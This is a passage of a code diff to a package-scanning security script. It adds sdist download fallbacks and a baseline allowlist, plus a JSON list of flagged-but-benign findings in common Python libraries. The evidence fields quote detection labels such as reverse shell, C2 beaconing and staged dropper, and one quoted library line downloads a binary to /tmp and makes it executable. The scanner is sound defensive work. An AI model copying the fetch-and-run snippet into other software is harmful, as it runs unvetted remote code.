_serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta) + if fpath is None: + print(f" [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr) + elif depth < _MAX_DEP_FOLLOWUP_DEPTH: + worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta)) + + def download_packages( specs: list[str], dest: str, @@ -1403,49 +2361,36 @@ def download_packages( summaries. A non-empty ``download_errors`` MUST make the caller exit non-zero so a partial scan can't masquerade as "0 findings, all clean". - with_deps=True downloads the full transitive tree in one pip call (flat dir); - with_deps=False (default) downloads each spec individually with --no-deps. + with_deps=True downloads the full transitive tree (flat dir); a bulk resolve + failure (sdist-only package or version conflict) degrades to per-spec + resolution + direct sdist fetch rather than blanking the shard. + with_deps=False (default) downloads each spec individually with --no-deps, + also falling back to a direct sdist fetch when no wheel exists. """ results: list[tuple[str, str]] = [] download_errors: list[str] = [] env = _pip_download_env() if with_deps: - # Single pip download for all specs + transitive deps. `--only-binary - # :all:` refuses sdists so we never execute setup.py for metadata. os.makedirs(dest, exist_ok = True) - cmd = [ - sys.executable, - "-m", - "pip", - "download", - *_PIP_DOWNLOAD_PIN_FLAGS, - "--dest", - dest, - ] + specs - try: - proc = subprocess.run( - cmd, - capture_output = True, - text = True, - timeout = 600, # transitive resolution is slow - env = env, + # Fast path: resolve + download the whole transitive tree in one call. + # `--only-binary :all:` refuses sdists so we never build for metadata. + rc, stderr = _pip_download_with_deps(specs, dest, env) + if rc != 0: + # Atomic resolve failed -- a sdist-only package, or a cross-package + # version conflict (ResolutionImpossible). Degrade to per-spec + # resolution so one bad spec can't blank the shard, then direct-fetch + # any sdist-only holdouts (no build). Genuine failures still record an + # error so the caller exits 2. + print( + f" [INFO] bulk --with-deps resolve failed " + f"({stderr.strip()[:160]}); falling back to per-spec resolution " + f"for {len(specs)} spec(s).", + file = sys.stderr, ) - if proc.returncode != 0: - msg = f"pip download (with deps) failed: " f"{proc.stderr.strip()[:500]}" - print(f" [ERROR] {msg}", file = sys.stderr) - download_errors.append(msg) - except subprocess.TimeoutExpired: - msg = "pip download (with deps) timed out" - print(f" [ERROR] {msg}", file = sys.stderr) - download_errors.append(msg) - - # Collect every archive that landed in dest - for fname in sorted(os.listdir(dest)): - fpath = os.path.join(dest, fname) - if os.path.isfile(fpath): - pkg_name = fname.split("-")[0].replace("_", "-").lower() - results.append((pkg_name, fpath)) + _resolve_per_spec_with_deps(specs, dest, env, download_errors) + # Collect everything that landed (bulk OR per-spec OR direct sdist). + _collect_flat_dir(dest, results) else: for spec in specs: raw_name = _extract_pkg_name(spec) @@ -1465,22 +2410,25 @@ def download_packages( spec, ] try: - proc = subprocess.run( - cmd, - capture_output = True, - text = True, - timeout = 120, - env = env, - ) - if proc.returncode != 0: - msg = f"pip download failed for {spec}: " f"{proc.stderr.strip()[:500]}" - print(f" [ERROR] {msg}", file = sys.stderr) - download_errors.append(msg) - continue + proc = subprocess.run(cmd, capture_output = True, text = True, timeout = 120, env = env) except subprocess.TimeoutExpired: - msg = f"pip download timed out for {spec}" - print(f" [ERROR] {msg}", file = sys.stderr) - download_errors.append(msg) + download_errors.append(f"pip download timed out for {spec}") + continue + if proc.returncode != 0: + # No wheel? Direct-fetch the sdist (no build) before erroring. + name = _extract_pkg_name(spec) + version = _spec_pin_version(spec) + meta = _pypi_json(name) + if meta is not None and not _release_has_wheel(meta, version): + fpath, serr = _download_sdist_direct(name, version, pkg_dir, meta = meta) + if fpath is not None: + results.append((spec, fpath)) + continue + download_errors.append(serr or f"sdist fetch failed for {name}") + continue + download_errors.append( + f"pip download failed for {spec}: {proc.stderr.strip()[:300]}" + ) continue for fname in os.listdir(pkg_dir): @@ -1722,8 +2670,10 @@ def find_safe_version( scan_dir = os.path.join(tmpdir, f"{name}_{ver}") os.makedirs(scan_dir, exist_ok = True) - downloaded = download_packages([spec], scan_dir) + downloaded, download_errors = download_packages([spec], scan_dir) if not downloaded: + for err in download_errors: + print(f" [WARN] {err}", file = sys.stderr) continue clean = True @@ -1856,9 +2806,12 @@ def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> N # If no pinned version, download to find what pip resolves dl_dir = os.path.join(tmpdir, f"resolve_{pkg_name}") os.makedirs(dl_dir, exist_ok = True) - downloaded = download_packages([pkg_name], dl_dir) + downloaded, download_errors = download_packages([pkg_name], dl_dir) if downloaded: current_ver = get_downloaded_version(downloaded[0][1]) + else: + for err in download_errors: + print(f" [WARN] {err}", file = sys.stderr) shutil.rmtree(dl_dir, ignore_errors = True) if not current_ver: @@ -1940,6 +2893,182 @@ def _find_requirements_files(root: str) -> list[str]: return sorted(results) +# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can +# enforce without drowning in legitimate-library noise. Matched on +# (package, package-relative file, check, evidence hash); the hash strips +# ``L:`` markers so version bumps and line shifts do not reopen an entry, +# but changed flagged code does. Regenerate with ``--write-baseline``. + +_DEFAULT_BASELINE_PATH = os.path.join( + os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json" +) + + +def _norm_pkg(name: str) -> str: + """PEP 503-style normalization so requests/Requests/req_uests collapse.""" + return re.sub(r"[-_.]+", "-", (name or "").strip().lower()) + + +# Leading "-/" archive root of an sdist member, which carries the +# version. Stripping it (but keeping the rest of the path) gives a key that is +# stable across version bumps yet still distinguishes same-named files. +_RE_SDIST_ROOT = re.compile(r"^[^/]+-\d[^/]*/") + + +def _relpath_in_package(filename: str) -> str: + """Package-relative path: drop an sdist's version-carrying archive root. + + Wheel members are already package-relative (``numba/cuda/utils.py``); sdist + members sit under ``numba-0.60.0/...``, so strip that one leading segment. + """ + return _RE_SDIST_ROOT.sub("", filename, count = 1) + + +# Evidence joins matched spans with " | " and a newline between labelled groups, +# each span tagged "L: ". Split only on those real delimiters (a " | " before +# a marker, or a newline), never on a bare "|" -- matched code may contain a +# bitwise-or or union type. The prefix strips only a genuine leading marker, an +# optional "Label: " then "L: "; a marker-like "L:" inside raw code (e.g. +# a .pth import line) has no leading marker and is left intact. +_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n") +_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?") + + +def _canon_evidence(evidence: str) -> str: + """Matched code lines in discovery order (markers removed), duplicates kept. + + Splits evidence on its real span delimiters, drops each span's leading + label / line-number marker, and keeps the code with its indentation. Line + shifts are absorbed by stripping the L: markers, not by sorting, so order + stays significant: reordering matched lines (executable context, e.g. the + arguments of a multi-line call) reopens the finding. Keeping duplicates means + an appended identical occurrence still changes the key.""" + spans = [] + for s in _RE_EVIDENCE_SPLIT.split(evidence or ""): + s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip() + if s: + spans.append(s) + return "\n".join(spans) + + +def _evidence_hash(evidence: str) -> str: + """Stable digest of the canonical matched evidence.""" + return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest() + + +def _finding_key(f: Finding) -> tuple[str, str, str, str]: + """Allowlist key: package, package-relative path, check, evidence hash. + + The evidence hash is over the set of matched code, so the key survives version + bumps, line shifts and reordering but reopens when the flagged code changes -- + so a future payload in a baselined file/check is not auto-suppressed. + """ + return ( + _norm_pkg(f.package), + _relpath_in_package(f.filename), + f.check, + _evidence_hash(f.evidence), + ) + + +def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: + """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" + try: + with open(path, "r", encoding = "utf-8") as fh: + data = json.load(fh) + except FileNotFoundError: + return set() + except (OSError, json.JSONDecodeError) as exc: + print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) + return set() + if not isinstance(data, dict): + print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) + return set() + entries = data.get("entries", []) + if not isinstance(entries, list): + print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) + return set() + keys: set[tuple[str, str, str, str]] = set() + legacy = 0 + for e in entries: + if not isinstance(e, dict): + continue + try: + # Use the reviewed hash; else recompute it from the stored evidence. + evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + if not e.get("evidence_hash"): + legacy += 1 + keys.add( + ( + _norm_pkg(e["package"]), + _relpath_in_package(e["file"]), + e["check"], + evidence_hash, + ) + ) + except (KeyError, TypeError): + continue + if legacy: + print( + f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " + f"not suppress until regenerated with --write-baseline (findings reopen " + f"rather than risk hiding changed code under a coarse key)", + file = sys.stderr, + ) + return keys + + +def _write_baseline(path: str, findings: list[Finding]) -> None: + """Persist CRITICAL/HIGH findings as an allowlist for human triage.""" + entries = [] + seen: set[tuple[str, str, str, str]] = set() + for f in sorted(findings, key = lambda f: SEVERITY_ORDER.get(f.severity, 99)): + if f.severity not in (CRITICAL, HIGH): + continue + key = _finding_key(f) + if key in seen: + continue + seen.add(key) + entries.append( + { + "package": f.package, + "file": _relpath_in_package(f.filename), + "check": f.check, + "severity": f.severity, + "evidence": f.evidence, + "evidence_hash": _evidence_hash(f.evidence), + } + ) + doc = { + "_comment": ( + "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding " + "manually judged benign. Matched on (package, package-relative file, " + "check, evidence_hash); evidence_hash is over the matched code with " + "L: markers stripped, so version bumps and line shifts do not " + "reopen an entry but changed code does. severity and evidence are for " + "review only. Regenerate with --write-baseline AFTER reviewing every line." + ), + "version": 1, + "entries": entries, + } + with open(path, "w", encoding = "utf-8") as fh: + json.dump(doc, fh, indent = 2, sort_keys = False) + fh.write("\n") + print(f" Wrote {len(entries)} baseline entr(y/ies) to {path}") + + +def _partition_baseline( + findings: list[Finding], baseline: set[tuple[str, str, str, str]] +) -> tuple[list[Finding], list[Finding]]: + """Split findings into (active, suppressed) by allowlist membership.""" + if not baseline: + return list(findings), [] + active, suppressed = [], [] + for f in findings: + (suppressed if _finding_key(f) in baseline else active).append(f) + return active, suppressed + + # Main @@ -1986,6 +3115,30 @@ def main() -> int: metavar = "N", help = "Max older versions to scan when searching for safe version (default: 10)", ) + parser.add_argument( + "--baseline", + metavar = "FILE", + default = None, + help = ( + "Allowlist JSON of triaged known-good findings to suppress. " + f"Defaults to {os.path.basename(_DEFAULT_BASELINE_PATH)} next to this " + "script if present." + ), + ) + parser.add_argument( + "--no-baseline", + action = "store_true", + help = "Ignore the auto-discovered baseline allowlist.", + ) + parser.add_argument( + "--write-baseline", + metavar = "FILE", + default = None, + help = ( + "Write the current CRITICAL/HIGH findings to FILE as an allowlist, " + "then exit 0. Review every entry before committing it." + ), + ) args = parser.parse_args() # --scan-dir: auto-discover requirements files @@ -2066,11 +3219,34 @@ def main() -> int: finally: shutil.rmtree(tmpdir, ignore_errors = True) - print_findings(all_findings) + # Baseline allowlist: suppress triaged, known-good findings so the CI gate + # can be enforcing without red-failing on legitimate-library noise. + if args.no_baseline: + baseline_path = None + elif args.baseline: + baseline_path = args.baseline + elif os.path.isfile(_DEFAULT_BASELINE_PATH): + baseline_path = _DEFAULT_BASELINE_PATH + else: + baseline_path = None + baseline = _load_baseline(baseline_path) if baseline_path else set() - # --fix mode: auto-search for safe versions - if args.fix and all_findings: - critical_pkgs = {f.package for f in all_findings if f.severity == CRITICAL} + active, suppressed = _partition_baseline(all_findings, baseline) + + print_findings(active) + if suppressed: + crit_s = sum(1 for f in suppressed if f.severity == CRITICAL) + high_s = sum(1 for f in suppressed if f.severity == HIGH) + med_s = sum(1 for f in suppressed if f.severity == MEDIUM) + print( + f"\n {len(suppressed)} finding(s) suppressed by baseline " + f"{baseline_path} " + f"({crit_s} CRITICAL, {high_s} HIGH, {med_s} MEDIUM)." + ) + + # --fix mode: auto-search for safe versions (only real, non-baselined ones) + if args.fix and active: + critical_pkgs = {f.package for f in active if f.severity == CRITICAL} if critical_pkgs: print( f"\n --fix: Searching for safe versions of {len(critical_pkgs)} CRITICAL package(s)..." @@ -2079,6 +3255,7 @@ def main() -> int: # Surface pip-download failures BEFORE the exit code so a partial download # can't masquerade as "0 findings, all clean" (silent-failure hardening 4). + # Also keeps us from writing a baseline from an incomplete scan. if download_errors: print( f"\n {'=' * 72}\n" @@ -2095,8 +3272,16 @@ def main() -> int: ) return 2 - # Exit code: 1 if any CRITICAL or HIGH - if any(f.severity in (CRITICAL, HIGH) for f in all_findings): + # --write-baseline: persist the full current CRITICAL/HIGH set as the new + # allowlist (ignoring any loaded baseline), then exit 0. Only reached once + # the scan is known complete. + if args.write_baseline: + _write_baseline(args.write_baseline, all_findings) + return 0 + + # Exit code: 1 only if a NON-baselined CRITICAL or HIGH remains. This is the + # signal CI gates on once the baseline reaches a clean run. + if any(f.severity in (CRITICAL, HIGH) for f in active): return 1 return 0 diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json new file mode 100644 index 0000000000..58b7f95ab1 --- /dev/null +++ b/scripts/scan_packages_baseline.json @@ -0,0 +1,1630 @@ +{ + "_comment": "scan_packages.py allowlist (reviewed). Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.", + "version": 1, + "entries": [ + { + "package": "botocore", + "file": "botocore/credentials.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):", + "evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6" + }, + { + "package": "botocore", + "file": "botocore/httpsession.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(\nL478: method=request.method,\nL479: url=request_target,\nL480: body=request.body,\nL481: headers=request.headers,\nL482: retries=Retry(False),\nL483: assert_same_host=False,\nL484: preload_content=False,\nL485: decode_content=False,\nL486: chunked=self._chunked(request.headers),\nL487: )", + "evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f" + }, + { + "package": "botocore", + "file": "botocore/utils.py", + "check": "Accesses cloud metadata/IMDS AND makes network calls", + "severity": "CRITICAL", + "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2' | L3075: '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66" + }, + { + "package": "botocore", + "file": "botocore/utils.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "3554fe7787227ea6fe47adfe18dcf531e0f01bd7f02ac4d56e2b7587fa2b6c96" + }, + { + "package": "botocore", + "file": "botocore/utils.py", + "check": "Reads credential paths AND makes network calls", + "severity": "CRITICAL", + "evidence": "Creds: L3551: CACHE_DIR = os.path.expanduser(os.path.join('~', '.aws', 'boto', 'cache')) | L3719: return os.path.expanduser(os.path.join('~', '.aws', 'login', 'cache'))\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", + "evidence_hash": "2d691bc373ab872aad23c744104596ba6d0d9f3b35aa101c7edbff4429b174c1" + }, + { + "package": "click", + "file": "click/testing.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L103: os.dup2(self._tmpfile.fileno(), self._targetfd) | L107: os.dup2(self.saved_fd, self._targetfd)", + "evidence_hash": "7cfc260cd91d7ee7e65aaf0551f115d03593422b6dfcb3761fd74d18affec2e1" + }, + { + "package": "datasets", + "file": "datasets/utils/file_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L441: while True: sha256:ce92e38c17c524815e1f9055be77235028c1e68e41b45cbfe9c8f1b867a205da", + "evidence_hash": "cb36281d28a975d101121c0702ee05eeee470879520d39a8be552129333f514d" + }, + { + "package": "datasets", + "file": "datasets/utils/file_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L443: while True: sha256:feba37d77721aa658e1786d2e4b67de76fefe1ceeb3ce8529d361c5241778eea", + "evidence_hash": "2e458563dec752d0a9896c9685d368d9906867110db315ab751e3eb6ec63f51c" + }, + { + "package": "diffusers", + "file": "diffusers/utils/import_utils.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L1052: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" + }, + { + "package": "diffusers", + "file": "diffusers/utils/testing_utils.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L236: value = os.environ[key]\nNetwork: L691: response = requests.get(arry, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L712: response = requests.get(url, timeout=DIFFUSERS_REQUEST_TIMEOUT) | L731: image = PIL.Image.open(requests.get(image, stream=True, timeout=DIFFUSERS_REQUEST_TIMEOUT).raw)", + "evidence_hash": "671190a6106c6ee9674e5e5942dc0940e1d2f8c78d5faf674413c2345b783fd9" + }, + { + "package": "dill", + "file": "dill/_objects.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L317: a['TarFileType'] = tarfile.open(fileobj=_fileW,mode='w')\nNetwork: L330: x['SocketType'] = _socket = socket.socket()", + "evidence_hash": "894862e547cf91b90cd6e4b495db3fb05b7490ef0d63de7e795a7e3d9447d850" + }, + { + "package": "fastapi", + "file": "fastapi/routing.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L587: while True: sha256:06c2c7f15d73bf192e5e3272c5ff5fcaeff7f6774fef5f4eca6ef473ae50e2b3", + "evidence_hash": "57acd497f404c203e4450d0580ad85aa8a33406e8d64ad06fbac6cf47d97b24d" + }, + { + "package": "fastapi", + "file": "fastapi/routing.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L592: while True: sha256:84283c09277ded3296998b2a6a838744457b606829cf5ab5d0da6f222ff020a0", + "evidence_hash": "a7295004315e26a8f3c64fb837521e9fdd7268219bb43e000fb0236ab0259223" + }, + { + "package": "fastmcp-slim", + "file": "fastmcp/cli/apps_dev.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L1353: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:", + "evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c" + }, + { + "package": "fastmcp-slim", + "file": "fastmcp/cli/apps_dev.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L637: history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:", + "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4" + }, + { + "package": "fonttools", + "file": "fontTools/diff/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L202: os.dup2(devnull, sys.stdout.fileno())", + "evidence_hash": "6ff12ba150358aa0b2756d60df29a7ac9c08e60d0a1ad42157fd30af6e7d50ee" + }, + { + "package": "fonttools", + "file": "fontTools/ttLib/ttFont.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L1420: __import__(\"fontTools.ttLib.tables.\" + pyTag)", + "evidence_hash": "512ecbb7539ddfd5296f8ea2d132ef4000a71033fd444d8a7539f6936dc9ad01" + }, + { + "package": "httpx", + "file": "httpx/_models.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L528: history: list[Response] | None = None, sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):", + "evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/_sandbox.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1179: while True: sha256:33ceddf9e42aae207e891e97808c518e92a0b27ab60e4326256717bfb25a3a38", + "evidence_hash": "802fd41d8bb17bf425e99d128c0351c820103a5efb74690a4086e542a71437b8" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/_sandbox.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L83: d=/tmp/.sbx-server\nL84: if command -v wget >/dev/null 2>&1; then wget -q --header \"Authorization: Bearer $SBX_DL_TOKEN\" -O \"$d\" \"$SBX_SERVER_URL\"\nL85: elif command -v curl >/dev/null 2>&1; then curl -fsSL -H \"Authorization: Bearer $SBX_DL_TOKEN\" -o \"$d\" \"$SBX_SERVER_URL\"\nL86: else cp \"$SBX_SERVER_MOUNT/sbx-server\" \"$d\"; fi\nL87: chmod +x \"$d\"", + "evidence_hash": "6908a3fe328fa94ee22a119998d6ad07cfa1ba4efa2628acf240f4204fd76e22" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/hf_api.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L4677: while True: sha256:04afb38843e4125d1476f3f04bdad0edf1f63f8d75ad49a713b13e4bc68612fb", + "evidence_hash": "18877a2502c862b46a5d7e33fa7c39ab4ef32da7e1b07f596fd455f4376770c6" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/hf_api.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L3746: while True: sha256:0c73ed1a7447120b112c063b14e720c6695bc11d00eb6b912cd0f10dc3e29b31", + "evidence_hash": "22f50b930e44146c5350bb99e6e6ebb09feea9bf1e899e407bedc4ffaf06721b" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/hf_api.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L10852: o.addheaders = [(\"Authorization\", \"Bearer \" + os.environ[\"UV_SCRIPT_HF_TOKEN\"])]\nNetwork: L6504: resp = requests.post(path, headers=headers, json=body) | L10848: import urllib.request | L10851: o = urllib.request.build_opener()", + "evidence_hash": "7b22edf0aac33ec94f0fd986ace3e63e7ac7554ba4702dbb6fa099646958f5f4" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/utils/_http.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L462: while True: sha256:c75d1ee228cf7703a8c28551d649395a1f89f69a3aba69413f5bbcbd10c31958", + "evidence_hash": "d4d5f83fed39b87898cf776d5dad0bf1a6388a932f5fb7997d1070b50e46213e" + }, + { + "package": "huggingface-hub", + "file": "huggingface_hub/utils/_http.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L298: while True: sha256:6b8e5e569594caf7c4eca6137646dae471a7c3aae7294096cf876f30b5f90306", + "evidence_hash": "c066cc27bce31ee7b6ce07411ee7a7d9ecfbf3aafc8848f6641fabfe522a7703" + }, + { + "package": "ipython", + "file": "IPython/core/interactiveshell.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)", + "evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3" + }, + { + "package": "ipython", + "file": "IPython/terminal/pt_inputhooks/__init__.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L139: mod = importlib.import_module(\"IPython.terminal.pt_inputhooks.\" + gui_mod)", + "evidence_hash": "3b7a403abee4c5c817718802869e0f75f5bb4f479fba3cbed19f9cf32d926025" + }, + { + "package": "ipython", + "file": "IPython/utils/py3compat.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L58: exec(compiler(f.read(), fname, \"exec\"), glob, loc)", + "evidence_hash": "f8dfef823b3380dbf7f4bb697998ddecc31b4b26b03e593c0f287c419b329d17" + }, + { + "package": "jaraco-context", + "file": "jaraco/context/__init__.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L106: with tarfile.open(fileobj=req, mode='r|*') as tf:\nNetwork: L15: import urllib.request | L105: req = urllib.request.urlopen(url)", + "evidence_hash": "4b7365cdf9279e002a67e13669a1596e5036a3d33eb88152236ff30d8093672c" + }, + { + "package": "matplotlib", + "file": "matplotlib/backends/backend_webagg.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L56: if not webbrowser.open(url): sha256:c92ecd0cb3aa00166f26aa2017eb2201cc6050d58de2654ada01a1d392a5c97c", + "evidence_hash": "bf56dfffad9c8638feab6a8bd7d74da6abc78ff406663e97ff5ac18f30c2f583" + }, + { + "package": "multiprocess", + "file": "multiprocess/forkserver.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L5: import socket sha256:915068303029fa5806199f256fb74504c65f253f9aee8ea23d8e384bb772b1c7", + "evidence_hash": "30be130f165f418dfd37b144c5ae333de184b95f828ab8bd4010a67b84a5f814" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c", + "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L3521: os.dup2(conn.fileno(), i) | L3553: \"test needs os.dup2()\") | L3571: os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24", + "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452" + }, + { + "package": "numba", + "file": "numba/pycc/decorators.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L44: exec(compile(fin.read(), ifile, 'exec'))", + "evidence_hash": "9bfde86a0af7c9c81acd5334ebab3ba97c33d22c501295114fde0087b0be3f05" + }, + { + "package": "numba", + "file": "numba/tests/support.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L1016: os.dup2(w, fd) | L1021: os.dup2(save, fd)", + "evidence_hash": "fea7aa03d48bf0f4386302fa444984c4f5dfc772cfec3f1df199fd33a52eec10" + }, + { + "package": "numba", + "file": "numba/tests/test_codegen.py", + "check": "base64 decode + subprocess execution (staged payload)", + "severity": "CRITICAL", + "evidence": "Base64: L127: state = pickle.loads(base64.b64decode(sys.argv[1]))\nSubprocess: L130: subprocess.check_call([sys.executable, '-c', code, arg.decode()])", + "evidence_hash": "e2e6436a0849b687046a00576836b0f5f048ecf6118f9d8e6d5558fefd0aa488" + }, + { + "package": "numpy", + "file": "numpy/f2py/capi_maps.py", + "check": "Downloads and executes remote code", + "severity": "CRITICAL", + "evidence": "L159: d = eval(f.read().lower(), {}, {})", + "evidence_hash": "70e3d1f82997b292e97bd3f8c3804181f575a7dce74cb2fa8e9fb1f0a119ab2f" + }, + { + "package": "numpy", + "file": "numpy/lib/tests/test__datasource.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L45: malicious_files = ['/etc/shadow', '../../shadow',\nL46: '..\\\\system.dat', 'c:\\\\windows\\\\system.dat']\nNetwork: L2: import urllib.request as urllib_request", + "evidence_hash": "9aa30dfee01a520f20ab77de468feb0558bd9d95c6dd509146ffc48c8d4dc469" + }, + { + "package": "openai", + "file": "openai/_base_client.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L274: while True: sha256:90a38e5c1e26893c7c273354143612640e9a9c0f079d3e2b60612d79f24e80a6", + "evidence_hash": "1022e8e8649436ec64a98a9d9141d085452c49549fd2157b0278fc369a83ac66" + }, + { + "package": "openai", + "file": "openai/_client.py", + "check": 